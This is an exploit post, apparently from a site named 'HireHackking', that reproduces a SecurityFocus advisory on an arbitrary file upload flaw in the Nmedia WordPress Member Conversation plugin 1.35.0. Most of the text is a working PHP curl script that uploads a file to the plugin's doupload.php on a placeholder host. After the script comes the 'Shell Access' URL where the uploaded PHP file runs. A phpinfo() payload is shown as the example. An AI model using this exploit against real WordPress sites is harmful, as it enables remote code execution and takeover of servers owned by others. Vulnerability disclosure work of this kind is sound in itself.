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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/53790/info

The Nmedia WordPress Member Conversation plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Nmedia WordPress Member Conversation 1.35.0 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wordpress-member-private-conversation/doupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
         'folder'=>"/test/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php

lo.php
<?php
phpinfo();
?>